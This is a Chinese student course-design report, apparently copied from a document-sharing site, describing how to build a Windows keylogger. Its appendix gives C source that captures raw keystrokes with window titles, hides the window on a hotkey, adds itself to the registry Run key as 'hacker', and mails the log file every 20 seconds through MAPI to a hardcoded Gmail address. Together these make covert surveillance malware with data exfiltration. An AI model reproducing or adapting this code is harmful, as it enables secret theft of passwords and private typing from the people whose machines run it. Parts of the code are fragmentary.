鍵盤監(jiān)聽(tīng)程序課程設(shè)計(jì)_第1頁(yè)
已閱讀1頁(yè),還剩11頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、<p><b>  目 錄</b></p><p><b>  目 錄1</b></p><p><b>  一 設(shè)計(jì)目的2</b></p><p><b>  二 設(shè)計(jì)內(nèi)容2</b></p><p><b>  三 設(shè)計(jì)要求

2、2</b></p><p><b>  四 設(shè)計(jì)過(guò)程2</b></p><p>  1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟2</p><p><b>  2、消息循環(huán)4</b></p><p>  3、編寫窗口過(guò)程函數(shù)5</p><p>  4、自啟動(dòng)模塊設(shè)計(jì)6&

3、lt;/p><p>  5、定時(shí)發(fā)送郵件模塊設(shè)計(jì)6</p><p><b>  6、程序流程圖8</b></p><p><b>  五 設(shè)計(jì)總結(jié)9</b></p><p><b>  參考文獻(xiàn)9</b></p><p><b>  一 設(shè)

4、計(jì)目的</b></p><p>  通過(guò)本次課程設(shè)計(jì),設(shè)計(jì)一個(gè)鍵盤監(jiān)聽(tīng)程序,系統(tǒng)啟動(dòng)后自動(dòng)記錄所有鍵盤信息的功能,能夠記錄鍵盤的輸入值,且該程序具有自動(dòng)啟動(dòng)功能,并能夠定期通過(guò)網(wǎng)絡(luò)給某人的指定的郵箱發(fā)送所記錄的信息。</p><p><b>  二 設(shè)計(jì)內(nèi)容</b></p><p>  1、題目分析,查找資料和總體設(shè)計(jì)。</p

5、><p>  2、詳細(xì)設(shè)計(jì)、代碼編制、程序調(diào)試。系統(tǒng)功能要求如下:</p><p>  模塊一 該部分通過(guò)設(shè)計(jì)一個(gè)窗口,并在窗口中響應(yīng)鍵盤消息,記錄鍵盤的相關(guān)按鍵記錄,實(shí)現(xiàn)鍵盤監(jiān)聽(tīng)的功能。</p><p>  模塊二 該部分通過(guò)對(duì)注冊(cè)表的修改,將該程寫入注冊(cè)表,實(shí)現(xiàn)該程序的隨系統(tǒng)的啟動(dòng)而啟動(dòng)。</p><p>  模塊三 該部分通過(guò)調(diào)用系統(tǒng)

6、的定時(shí)函數(shù),實(shí)現(xiàn)郵件的定時(shí)發(fā)送。</p><p>  3、結(jié)果分析、完成課程設(shè)計(jì)報(bào)告。</p><p><b>  三 設(shè)計(jì)要求</b></p><p>  1、學(xué)生能夠較深入的理解網(wǎng)絡(luò)編成的設(shè)計(jì)方法,并在所要求的設(shè)計(jì)時(shí)間內(nèi),利用自己所熟悉的語(yǔ)言完成本題目的程序編制。</p><p>  2、程序要能正確運(yùn)行,完成預(yù)功能

7、。</p><p>  3、要求設(shè)計(jì)清晰、美觀的用戶界面,當(dāng)操作出錯(cuò)時(shí),程序要有出錯(cuò)提示信息。</p><p>  4、上交設(shè)計(jì)報(bào)告。重點(diǎn)闡述程序的有關(guān)算法說(shuō)明、程序的流程圖以及子程序的功能和參數(shù)的說(shuō)明及程序代碼。</p><p><b>  四 設(shè)計(jì)過(guò)程</b></p><p>  1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟</

8、p><p> ?。?)WinMain函數(shù)的定義</p><p>  WinMain函數(shù)的原型聲明如下:</p><p>  int WINAPI WinMain(</p><p>  HINSTANCE hInstande,</p><p>  HINSTANCE hPrevInstance,</p>

9、<p>  LPSTR IpCmdLine,</p><p>  Int nCmdShow</p><p><b>  );</b></p><p>  WinMain函數(shù)接收4個(gè)參數(shù),這些參數(shù)都是在系統(tǒng)調(diào)用WinMian函數(shù)時(shí),傳遞給應(yīng)用程序的。</p><p>  第一個(gè)參數(shù)hInstance表示

10、該程序當(dāng)前運(yùn)行的實(shí)例的句柄。第二個(gè)參數(shù)hPrevInstance表示當(dāng)前實(shí)例的前一個(gè)實(shí)例的句柄。第三個(gè)參數(shù)IpCmdLine是一個(gè)以空終止的空符串,第四個(gè)參數(shù)nCmdShow指定程序的窗口應(yīng)該如何顯示。</p><p><b> ?。?)創(chuàng)建一個(gè)窗口</b></p><p><b>  設(shè)計(jì)一個(gè)窗口類</b></p><p&g

11、t;  一個(gè)完整的窗口有許多的特征,包括光標(biāo)、圖標(biāo)、背景色等。因此在創(chuàng)建一個(gè)窗口之前,要對(duì)該類型的窗口進(jìn)行設(shè)計(jì),指定該窗口的相關(guān)特征。Windows為我們定義了一個(gè)窗口所應(yīng)該有的基本屬性。在此次的程序中,運(yùn)用了wndClass這樣一個(gè)函數(shù),來(lái)實(shí)現(xiàn)窗口屬性的設(shè)置。其中的第二個(gè)成員變量IpfnWndProc是一個(gè)函數(shù)指針,指向窗口過(guò)程函數(shù),窗口過(guò)程函數(shù)是一個(gè)回調(diào)函數(shù)。回調(diào)函數(shù)在特定的事件或條件發(fā)生時(shí)由另外一方調(diào)用的,用于對(duì)該事件或條件進(jìn)行響

12、應(yīng)。</p><p><b> ?。?)注冊(cè)窗口類</b></p><p>  調(diào)用RegisterClass函數(shù)對(duì)窗口進(jìn)行注冊(cè),注冊(cè)成功后才能創(chuàng)建該類型的窗口。具體實(shí)現(xiàn)如下:RegisterClass(&wndClass);</p><p><b>  (4)創(chuàng)建窗口</b></p><p&g

13、t;  設(shè)計(jì)好窗口并且將其注冊(cè)成功后,就可以用CreateWindow函數(shù)產(chǎn)生這種類型的窗口了。其函數(shù)的原型聲明如下:</p><p>  HWND CreateWindow(</p><p>  LPCTSTR lpClassName, // registered class name</p><p>  LPCTSTR lpWindowName, // win

14、dow name</p><p>  DWORD dwStyle, // window style</p><p>  int x, // horizontal position of window</p><p>  int y, // vertical position of window

15、</p><p>  int nWidth, // window width</p><p>  int nHeight, // window height</p><p>  HWND hWndParent, // handle to parent or owner window</p><p&g

16、t;  HMENU hMenu, // menu handle or child identifier</p><p>  HINSTANCE hInstance, // handle to application instance</p><p>  LPVOID lpParam // window-creation data</p>&l

17、t;p><b>  );</b></p><p>  (5)顯示及更新窗口</p><p>  其中,顯示窗口通過(guò)ShowWindow函數(shù)實(shí)現(xiàn)。更新窗口通過(guò)UpdateWindow函數(shù)實(shí)現(xiàn)。到此,一個(gè)窗口函數(shù)的創(chuàng)建就算完成了。</p><p><b>  2、消息循環(huán)</b></p><p>

18、 ?。?)編寫一個(gè)消息循環(huán),不斷的從消息隊(duì)列中取出消息,并進(jìn)行響應(yīng)。要從消息隊(duì)列中取出消息,我們需要調(diào)用GetMessage()函數(shù)。通常的消息循環(huán)函數(shù)的代碼如下:</p><p>  while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b>  {</b></p><p>  Tra

19、nslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p><p>  DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b>  }</b></p><p>  GetMessage函數(shù)只有在接收到WM_QUIT消息時(shí),才返回0。此時(shí)whi

20、le語(yǔ)句的判斷條件為假,循環(huán)退出,程序才能結(jié)束運(yùn)行。在沒(méi)有接收到WM_QUIT消息時(shí),Windows應(yīng)用程序就通過(guò)while循環(huán)來(lái)保證程序始終處于運(yùn)行狀態(tài)。</p><p>  Windows應(yīng)用程序的消息處理機(jī)制如下圖所示:</p><p><b>  圖2-1</b></p><p> ?。?)操作系統(tǒng)接收到應(yīng)用程序的窗口消息,將消息投遞到

21、該應(yīng)用程序的消息隊(duì)列中。</p><p>  (3)應(yīng)用程序在消息循環(huán)中調(diào)用GetMessage函數(shù)從消息隊(duì)列中取出一條一條的消息。取出消息后,應(yīng)用程序可以對(duì)消息進(jìn)行一些預(yù)處理,例如,放棄對(duì)某些消息的響應(yīng),或者調(diào)用TranslateMessage產(chǎn)生新的消息。</p><p> ?。?)應(yīng)用程序調(diào)用DispatchMessage,將消息回傳給操作系統(tǒng),消息是由MSG結(jié)構(gòu)體對(duì)象來(lái)表示的,其中

22、就包含了接收消息的窗口的句柄。因此,DispatchMessage函數(shù)總能進(jìn)行正確的傳遞。</p><p> ?。?)系統(tǒng)調(diào)用WNDCLASS結(jié)構(gòu)體的IpfnWndProc成員保存的窗口過(guò)程函數(shù)的指針調(diào)用窗口過(guò)程,對(duì)消息進(jìn)行處理。</p><p> ?。?)發(fā)送消息可以使用SendMessage和PostMessage函數(shù)。SendMessage將消息直接發(fā)送給窗口,并調(diào)用該窗口的窗口過(guò)程

23、進(jìn)行處理。在窗口過(guò)程對(duì)消息處理完畢后,該函數(shù)才返回。PostMessage函數(shù)將消息放入與創(chuàng)建窗口的線程相關(guān)聯(lián)的消息隊(duì)列后立即返回。除了兩個(gè)函數(shù)外,還有一個(gè)PostThreadMessage函數(shù),用于向線程發(fā)送消息,對(duì)于線程消息,MSG結(jié)構(gòu)體中的hwnd成員為NULL。</p><p>  3、編寫窗口過(guò)程函數(shù)</p><p> ?。?)窗口過(guò)程函數(shù)用于處理發(fā)送給窗口的消息。一個(gè)Windo

24、ws應(yīng)用程序的主要代碼部分就集中在窗口過(guò)程函數(shù)中。窗口過(guò)程函數(shù)的聲明如下:</p><p>  LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) </p><p>  { HDC hdc;</p><p>  PAINTSTRUCT

25、 ps; </p><p><b>  }</b></p><p><b> ?。?)具體函數(shù)中有</b></p><p>  按鍵消息處理,通過(guò)WM_INPUT實(shí)現(xiàn),當(dāng)發(fā)現(xiàn)有按鍵消息時(shí),通過(guò)GetRawInputData函數(shù)獲得原始的按鍵信息,再通過(guò)WriteFile寫入文件中,寫下按鍵記錄。</p>&l

26、t;p>  繪制窗口的界面,通過(guò)WM_PAINT完成。當(dāng)窗口客戶區(qū)的一部分或者全部變?yōu)闊o(wú)效是,系統(tǒng)會(huì)發(fā)送WM_PAINT消息,通知應(yīng)用程序重新繪制窗口,當(dāng)窗口剛創(chuàng)建的時(shí)候,整個(gè)客戶區(qū)都是無(wú)效的,因?yàn)檫@個(gè)時(shí)候程序還沒(méi)有在窗口上繪制任何東西,當(dāng)調(diào)用UpdateWindows函數(shù)時(shí),會(huì)發(fā)送WM_PAINT消息給窗口過(guò)程,對(duì)窗口進(jìn)行刷新.</p><p>  完成后,需要對(duì)窗口進(jìn)行撤銷,使用WM_DESTROY完成

27、。當(dāng)用戶單擊窗口傷的關(guān)閉按鈕的時(shí)候,系統(tǒng)會(huì)給應(yīng)用程序發(fā)送一條WM_CLOSE消息,首先彈出一個(gè)消息框,讓用戶確認(rèn)是否結(jié)束.用戶選擇是,則調(diào)用DestroyWindows函數(shù)銷毀窗口, DestroyWindows函數(shù)在銷毀窗口后會(huì)向窗口發(fā)送WM_DESTROY消息,此時(shí),窗口銷毀了,但是應(yīng)用程序并沒(méi)有退出.GetMessage函數(shù)只有在收到WM_QUIT消息才返回0,此時(shí)消息循環(huán)才結(jié)束,程序退出.想要讓程序退出,我們必須響應(yīng)WM_DES

28、TROY消息,并在消息響應(yīng)代碼中調(diào)用PostQuitMessage.向應(yīng)用程序的消息隊(duì)列中投遞WM_QUIT消息,傳遞給PostQuitMessage函數(shù)的參數(shù)值將作為WM_QUIT消息的wParam參數(shù),這個(gè)值通常用作WinMain函數(shù)的返回值。DefWindowProc函數(shù)調(diào)用默認(rèn)的窗口過(guò)程,對(duì)應(yīng)用程序沒(méi)有處理的其他消息進(jìn)行默認(rèn)處理.</p><p><b>  4、自啟動(dòng)模塊設(shè)計(jì)</b>

29、;</p><p> ?。?)該部分通過(guò)將程序的可執(zhí)行程序?qū)懭胱?cè)表,實(shí)現(xiàn)隨著系統(tǒng)的啟動(dòng)而啟動(dòng)。</p><p>  自啟動(dòng)有兩種方法,第一種方法是,在本地計(jì)算機(jī)中打開注冊(cè)表編輯器,找到下面的鍵值:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows   然后在Windows鍵值下新建一個(gè)字符串鍵值,

30、并更名為load,雙擊打開這個(gè)字符串鍵值,接著把彈出窗口的“數(shù)值數(shù)據(jù)”中設(shè)置要隨系統(tǒng)自動(dòng)運(yùn)行的程序的路徑即可。需要注意的是,輸入的路徑文件名是短文件名。(2)另一種方法同樣是在注冊(cè)表中進(jìn)行設(shè)置,找到鍵值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor,找到并雙擊“AutoRun”這項(xiàng),然后將鍵值設(shè)置為需要啟動(dòng)的程序即可。這兩種方法都可以.在實(shí)驗(yàn)中,運(yùn)用了方法一,通過(guò)&qu

31、ot;Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到鍵值,再通過(guò)hkResult,"hacker"/ 注冊(cè)表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBD</p><p>  5、定時(shí)發(fā)送郵件模塊設(shè)計(jì)</p><p

32、><b>  (1)郵件發(fā)送功能</b></p><p>  通過(guò)Simple MAPI的函數(shù)以及相關(guān)的數(shù)據(jù)結(jié)構(gòu),根據(jù)其結(jié)構(gòu)可以很簡(jiǎn)單的實(shí)現(xiàn)發(fā)送郵件的功能。實(shí)現(xiàn)一個(gè)完整的郵件發(fā)送過(guò)程,只需要一個(gè)函數(shù)“MAPISendMail()”, MAPI 與郵件系統(tǒng)關(guān)系密切,要能夠使用MAPI的功能,系統(tǒng)必須安裝有支持 MAPI 的郵件系統(tǒng),比如Outlook、Outlook Express、Eu

33、dora、Netscape等.在本次設(shè)計(jì)中,郵件系統(tǒng)使用的是outlook,經(jīng)過(guò)測(cè)試,發(fā)現(xiàn)沒(méi)有問(wèn)題。</p><p>  首先是MAPI庫(kù)的初始化,包括兩個(gè)步驟:裝載MAPI庫(kù)、得到函數(shù)入口地址。</p><p>  發(fā)送郵件 MAPISendMail(),發(fā)送郵件功能就是對(duì)MAPISendMail()的封裝。下面解釋這個(gè)API函數(shù)的參數(shù)定義。</p><p>  

34、ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage, FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved這三個(gè)參數(shù),簡(jiǎn)單地設(shè)置為0就可以了。flFlags有三個(gè)有效位,分別是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI

35、_NEW_SESSION。</p><p>  重點(diǎn)是 lpMessage 這個(gè)參數(shù),它指向一個(gè)MapiMessage類型的結(jié)構(gòu),詳細(xì)地定義了一個(gè)郵件的全部信息。</p><p> ?。?)結(jié)構(gòu)MapiMessage</p><p>  使用時(shí)首先定義一個(gè)MapiMessage類型的變量,將其清零?,F(xiàn)在我們只要簡(jiǎn)單地設(shè)定lpszSubject(標(biāo)題)、lpszNot

36、eText(正文)、lpOriginator(發(fā)件人)、nRecipCount(收件人計(jì)數(shù),),lpRecips(一個(gè)包含全部收件人的數(shù)組),nFileCount(附件計(jì)數(shù))、lpFiles(包含每個(gè)附件信息的數(shù)組)。nRecipCount 和 nFileCount 的值一定要與實(shí)際的收件人和附件數(shù)目相符。</p><p> ?。?)結(jié)構(gòu) MapiRecipDesc</p><p>  必

37、須設(shè)置 ulRecipClass、lpszName、lpszAddress</p><p> ?。?)結(jié)構(gòu) MapiFileDesc</p><p>  必須設(shè)置的有l(wèi)pszPathName、nPosiotion兩個(gè)參數(shù)</p><p><b> ?。?)定時(shí)功能</b></p><p>  定時(shí)功能通過(guò)調(diào)用系統(tǒng)函數(shù)Se

38、tTimer()來(lái)實(shí)現(xiàn)。其聲明原型如下</p><p>  UINT_PTR SetTimer(</p><p>  HWND hWnd, // handle to window</p><p>  UINT_PTR nIDEvent, // timer identifier</p><p>  UINT

39、uElapse, // time-out value</p><p>  TIMERPROC lpTimerFunc // timer procedure</p><p><b>  );</b></p><p>  此程序中的時(shí)間值設(shè)置的是20秒,也就是說(shuō)每隔20秒,程序會(huì)向指定的郵箱發(fā)送鍵盤記錄。</p>

40、<p><b>  6、程序流程圖</b></p><p> ?。?)鍵盤監(jiān)控流程圖</p><p>  圖6-1鍵盤監(jiān)控流程圖</p><p><b>  五 設(shè)計(jì)總結(jié)</b></p><p>  通過(guò)這次的鍵盤監(jiān)聽(tīng)程序的設(shè)計(jì),使得我對(duì)窗口中響應(yīng)鍵盤消息的機(jī)制更加深入的了解了,通過(guò)對(duì)

41、窗口的屬性設(shè)置、注冊(cè)窗口類、創(chuàng)建窗口、顯示窗口、更新窗口、消息循環(huán)、窗口過(guò)程函數(shù)的編寫,具體深入的體會(huì)了窗口響應(yīng)鍵盤消息的實(shí)現(xiàn)過(guò)程和方法。同時(shí),對(duì)于Windows的許多函數(shù)有了進(jìn)一步運(yùn)用與了解,如運(yùn)用MAPI發(fā)送郵件的使用規(guī)則、運(yùn)用CreateWindow()進(jìn)行窗口的創(chuàng)建、窗口過(guò)程函數(shù)的編寫、GetForegroundWindow的使用等等,提高了編程的能力。</p><p>  關(guān)于程序運(yùn)行時(shí),無(wú)法實(shí)現(xiàn)郵件發(fā)

42、送的問(wèn)題,經(jīng)過(guò)反復(fù)的調(diào)試,都無(wú)法發(fā)現(xiàn)問(wèn)題。把發(fā)送郵件的程序提取出來(lái)單獨(dú)運(yùn)行時(shí),發(fā)現(xiàn)是沒(méi)有問(wèn)題的,能夠正確的發(fā)送郵件。但是,把這個(gè)程序完整的放入到整個(gè)程序中后,卻無(wú)法發(fā)送郵件。最后發(fā)現(xiàn)是由于進(jìn)程的互斥問(wèn)題。記錄的文件一直處于打開狀態(tài),并且不斷地有記錄向文件中寫入,這時(shí)想要訪問(wèn)該文件當(dāng)然是不被允許的。究其原因,還是由于設(shè)計(jì)程序是沒(méi)有考慮操作系統(tǒng)的問(wèn)題,文件打開后沒(méi)有立刻關(guān)閉。在今后的程序設(shè)計(jì)中,要考慮關(guān)于操作系統(tǒng)的同步互斥問(wèn)題。這種問(wèn)題的出

43、現(xiàn),也正好提醒我要把學(xué)過(guò)的每一門專業(yè)課都學(xué)扎實(shí),切實(shí)提高自己的編程功力,這樣,才能夠做到真正的提高。</p><p>  試驗(yàn)中遇到了不少的問(wèn)題,有些通過(guò)上網(wǎng)查閱資料解決了,還有些通過(guò)與同學(xué)的交流,發(fā)現(xiàn)并解決了問(wèn)題.盡管過(guò)程有些漫長(zhǎng),但是,在這個(gè)逐步解決問(wèn)題的過(guò)程中,無(wú)論是自學(xué)能力,查閱資料的能力還是實(shí)際的動(dòng)手能力都有了較大的提高.我想,只有通過(guò)不斷的諸如此類的課程設(shè)計(jì),才能夠更好的檢驗(yàn)我們平時(shí)所學(xué)的知識(shí)。<

44、;/p><p><b>  參考文獻(xiàn)</b></p><p>  [1]《計(jì)算機(jī)網(wǎng)絡(luò)安全教程》石志國(guó) 薛為民 江俐 編著 清華大學(xué)出版社 北京交通大學(xué)出版社 2004年</p><p>  [2]《計(jì)算機(jī)網(wǎng)絡(luò)安全基礎(chǔ)》袁津生 吳硯農(nóng) 編 人民郵電出版社2002年</p><p>  [3]網(wǎng)站:www.csdn.com<

45、;/p><p><b>  附錄</b></p><p>  1、窗口函數(shù)的實(shí)現(xiàn)源代碼:</p><p>  INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)//主函數(shù)</p><p><b>  {</b>&l

46、t;/p><p>  HWND hWnd;</p><p>  MSG msg;</p><p>  WNDCLASS wndClass;</p><p>  wndClass.style = CS_HREDRAW | CS_VREDRAW;&l

47、t;/p><p>  wndClass.lpfnWndProc = WndProc;</p><p>  wndClass.cbClsExtra = 0;</p><p>  wndClass.cbWndExtra = 0;</p><p>  wndClass.hInstance = hInstance;<

48、/p><p>  wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);</p><p>  wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);</p><p>  wndClass.hbrBackground = (HBRUSH)GetStockO

49、bject(WHITE_BRUSH);</p><p>  wndClass.lpszMenuName = NULL;</p><p>  wndClass.lpszClassName = TEXT("KBDLoger"); //窗口屬性設(shè)置</p><p>  RegisterClass(&wnd

50、Class); //注冊(cè)窗口類 </p><p>  hWnd = CreateWindow( //創(chuàng)建窗口</p><p>  TEXT("KBDL

51、oger"), // window class name</p><p>  TEXT("KBDLoger"), // window caption</p><p>  WS_OVERLAPPEDWINDOW, // window style</p><p>  200, // initial x

52、position</p><p>  200, // initial y position</p><p>  480, // initial x size</p><p>  110, // initial y size</p><p>  NULL,

53、 // parent window handle</p><p>  NULL, // window menu handle</p><p>  hInstance, // program instance handle</p><p>  NULL);

54、 // creation parameters</p><p>  while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b>  {</b></p><p>  TranslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p&g

55、t;<p>  DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b>  }</b></p><p>  return msg.wParam; }</p><p>  LRESULT CALLBACK WndProc(HWND hWnd, UINT message,

56、 WPARAM wParam, LPARAM lParam) //窗口過(guò)程函數(shù)</p><p><b>  {</b></p><p>  if (raw->header.dwType == RIM_TYPEKEYBOARD) </p><p><b>  {</b></p><p>  hw

57、ndCW = GetForegroundWindow();// 獲取當(dāng)前鍵盤焦點(diǎn)窗口名稱</p><p>  GetWindowText(hwndCW, wtitle, 128);</p><p>  wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey));</p>

58、;<p>  if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey))</p><

59、;p><b>  {</b></p><p>  SetFilePointer(hFile, 0, NULL, FILE_END);</p><p>  WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL);</p><p><b>  }</b></p&

60、gt;<p>  if( VK_HOME == raw->data.keyboard.VKey) //按下home鍵顯示窗口</p><p>  ShowWindow(hWnd, SW_NORMAL);</p><p>  if( VK_END == raw->data.keyboard.VKey) //按下end鍵隱藏窗口</p><p&g

61、t;  ShowWindow(hWnd, SW_HIDE);</p><p><b>  }</b></p><p>  delete[] lpb; </p><p>  DefWindowProc(hWnd, message, wParam, lParam);</p><p><b>  return 0;&

62、lt;/b></p><p>  case WM_PAINT: //窗口繪制</p><p>  hdc = BeginPaint(hWnd, &ps);</p><p>  TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo));</p>&l

63、t;p>  EndPaint(hWnd, &ps);</p><p><b>  return 0;</b></p><p>  case WM_DESTROY: //退出窗口</p><p>  PostQuitMessage(0);</p><p>  CloseH

64、andle(hFile);</p><p><b>  return 0;</b></p><p><b>  default:</b></p><p>  return DefWindowProc(hWnd, message, wParam, lParam);//對(duì)應(yīng)用程序未處理的消息提供默認(rèn)處理</p>

65、<p>  PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)</p><p><b>  {</b></p><p>  HMODULE hDll = LoadLibraryA(dllname);//可執(zhí)行模塊映射到進(jìn)程地址空間</p><p>  if(NULL == hDll)<

66、;/p><p>  return NULL;</p><p>  PVOID pProc = GetProcAddress(hDll, procname);//獲取導(dǎo)出函數(shù)的地址</p><p>  FreeLibrary(hDll);</p><p>  return pProc;</p><p><b>  

67、}</b></p><p>  2、郵件定時(shí)發(fā)送源代碼</p><p><b>  //收件人結(jié)構(gòu)信息</b></p><p>  MapiRecipDesc recip;</p><p>  memset(&recip,0,sizeof(MapiRecipDesc));</p><

68、;p>  recip.lpszAddress="SMTP:yangjiankun11@gmail.com";</p><p>  recip.ulRecipClass = MAPI_TO;</p><p>  recip.lpszName = "SMTP:yangjiankun11@gmail.com";</p><p&g

69、t;<b>  //附件結(jié)構(gòu)信息</b></p><p>  MapiFileDesc FileDesc;</p><p>  memset(&FileDesc,0,sizeof(FileDesc));</p><p>  FileDesc.lpszPathName="F:\\KBDLogger\\kebodlog1.txt&

70、quot;;</p><p>  FileDesc.nPosition=(ULONG)-1;//附件在郵件中的位置</p><p><b>  //郵件結(jié)構(gòu)信息</b></p><p>  MapiMessage message;</p><p>  memset(&message,0,sizeof(messag

71、e));</p><p>  message.nRecipCount = 1; //收件人的個(gè)數(shù)</p><p>  message.lpRecips = &recip; //收件人信息</p><p>  message.nFileCount = 1; //附件的個(gè)數(shù)</p><p>  messa

72、ge.lpFiles = &FileDesc; //附件信息</p><p>  message.lpszSubject = "鍵盤記錄";//主題信息</p><p>  message.lpszNoteText = ""; //正文內(nèi)容</p><p>  ULONG (PASCAL *lpfnSe

73、ndMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);</p><p>  (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");取出"MAPISendMail"</p><p><b>  3、自啟動(dòng)源代碼</b>&

74、lt;/p><p>  char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //修改注冊(cè)表,自動(dòng)啟動(dòng)</p><p>  HKEY hkResult;</p><p>  int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&a

75、mp;hkResult);</p><p>  ret=RegSetValueEx(hkResult,"hacker"/注冊(cè)表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBDLogger.exe",32); //獲得可執(zhí)行程序的位置,寫入注冊(cè)表</p><p>  i

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 眾賞文庫(kù)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論